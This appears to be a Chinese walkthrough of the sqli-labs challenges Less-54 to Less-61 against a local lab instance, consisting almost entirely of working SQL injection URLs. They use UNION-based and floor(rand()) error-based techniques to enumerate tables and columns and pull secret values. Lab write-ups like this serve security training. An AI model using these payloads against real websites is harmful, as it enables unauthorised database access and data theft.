从Less54之后为Challenges,在n次之内从challenges数据库中取出相应的数据。
58.Less54
请求方式 | 注入方式 | 备注 |
GET | Union内联注入 | 10次语句以内完成 |
http://127.0.0.1:8003/Less-54/?id=1
http://127.0.0.1:8003/Less-54/?id=1' and 0 --+
http://127.0.0.1:8003/Less-54/?id=1' order by 1 --+
http://127.0.0.1:8003/Less-54/?id=1' order by 4 --+
http://127.0.0.1:8003/Less-54/?id=1' and 0 union select 1, group_concat(table_name) , count(table_name) from information_schema.tables where table_schema=database() --+
http://127.0.0.1:8003/Less-54/?id=1' and 0 union select 1, group_concat(column_name) , count(column_name) from information_schema.columns where table_schema=database() and table_name = 'je8so9yjdm'--+
http://127.0.0.1:8003/Less-54/?id=1' and 0 union select 1, group_concat(concat_ws(0x7e,id,sessid,secret_NUF1,tryy)) , count(id) from je8so9yjdm --+
59.Less55
请求方式 | 注入方式 | 备注 | |
GET | Union内联注入 | 14次语句以内完成 | |
http://127.0.0.1:8003/Less-55/?id=1
http://127.0.0.1:8003/Less-55/?id=0 or 1 --+
http://127.0.0.1:8003/Less-55/?id=0' or 1 --+
http://127.0.0.1:8003/Less-55/?id=0" or 1 --+
http://127.0.0.1:8003/Less-55/?id=0') or 1 --+
http://127.0.0.1:8003/Less-55/?id=0") or 1 --+
http://127.0.0.1:8003/Less-55/?id=0) or 1 --+
http://127.0.0.1:8003/Less-55/?id=0) or 1 order by 3 --+
http://127.0.0.1:8003/Less-55/?id=0) or 1 order by 4 --+
http://127.0.0.1:8003/Less-55/?id=0) union select 1,2,3 --+
http://127.0.0.1:8003/Less-55/?id=0) union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema = database() --+
http://127.0.0.1:8003/Less-55/?id=0) union select 1, 2, group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'xdrkchorhj' --+
http://127.0.0.1:8003/Less-55/?id=0) union select 1, 2, group_concat(concat_ws(0x7e,id,sessid,secret_ZZF6,tryy)) from xdrkchorhj --+
60.Less56
请求方式 | 注入方式 | 备注 | |
GET | Union内联注入 | 14次语句以内完成 | |
http://127.0.0.1:8003/Less-56/?id=1
http://127.0.0.1:8003/Less-56/?id=0' or 1 --+
http://127.0.0.1:8003/Less-56/?id=0') or 1 --+
http://127.0.0.1:8003/Less-56/?id=0') or 1 order by 3--+
http://127.0.0.1:8003/Less-56/?id=0') or 1 order by 4--+
http://127.0.0.1:8003/Less-56/?id=0') union select 1,2,3 --+
http://127.0.0.1:8003/Less-56/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
http://127.0.0.1:8003/Less-56/?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='zxjrb7g0u2' --+
http://127.0.0.1:8003/Less-56/?id=0') union select 1,2,group_concat(concat_ws(0x7e,id,sessid,secret_52OP,tryy)) from zxjrb7g0u2 --+
61.Less57
请求方式 | 注入方式 | 备注 | |
GET | Union内联注入 | 14次语句以内完成 | |
http://127.0.0.1:8003/Less-57/?id=1
http://127.0.0.1:8003/Less-57/?id=0" or 1 --+
http://127.0.0.1:8003/Less-57/?id=0" or 1 order by 3 --+
http://127.0.0.1:8003/Less-57/?id=0" or 1 order by 4 --+
http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,3 --+
http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = database() and table_name = 'i7a7cuijxc' --+
http://127.0.0.1:8003/Less-57/?id=0" union select 1,2,group_concat(concat_ws(0x7e,id,sessid,secret_LK1F,tryy)) from i7a7cuijxc --+
62.Less58
http://127.0.0.1:8003/Less-58/?id=1
http://127.0.0.1:8003/Less-58/?id=0' or 1 --+
http://127.0.0.1:8003/Less-58/?id=0' or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) ) ) --+
http://127.0.0.1:8003/Less-58/?id=0' or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select column_name from information_schema.columns where table_schema=database() and table_name ='fou5cz893u' limit 2,1 ) ) ) --+
http://127.0.0.1:8003/Less-58/?id=0' or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select secret_BPKM from fou5cz893u ) ) ) --+
63.Less59
http://127.0.0.1:8003/Less-59/?id=1
http://127.0.0.1:8003/Less-59/?id=1 1'2"3
http://127.0.0.1:8003/Less-59/?id=0 or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) ) ) --+
http://127.0.0.1:8003/Less-59/?id=0 or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select column_name from information_schema.columns where table_schema=database() and table_name ='c06j85ltnr' limit 2,1 ) ) ) --+
http://127.0.0.1:8003/Less-59/?id=0 or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select secret_Q09K from c06j85ltnr) ) ) --+
64.Less60
http://127.0.0.1:8003/Less-60/?id=1
http://127.0.0.1:8003/Less-60/?id=-1") or 1 --+
http://127.0.0.1:8003/Less-60/?id=-1") or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) ) ) --+
http://127.0.0.1:8003/Less-60/?id=-1") or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select column_name from information_schema.columns where table_schema=database() and table_name ='irbkoes439' limit 2,1 ) ) ) --+
http://127.0.0.1:8003/Less-60/?id=-1") or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select secret_0EDS from irbkoes439) ) ) --+
65.Less61
http://127.0.0.1:8003/Less-61/?id=1
http://127.0.0.1:8003/Less-61/?id=1 1'2"3
http://127.0.0.1:8003/Less-61/?id=1')) or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), (select table_name from information_schema.tables where table_schema = database() limit 0,1) ) ) --+
http://127.0.0.1:8003/Less-61/?id=1')) or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select column_name from information_schema.columns where table_schema=database() and table_name ='u9kp6yows1' limit 2,1 ) ) ) --+
http://127.0.0.1:8003/Less-61/?id=1')) or (select count(*) from information_schema.tables group by concat(floor(rand(0)*2), ( select secret_IRQG from u9kp6yows1) ) ) --+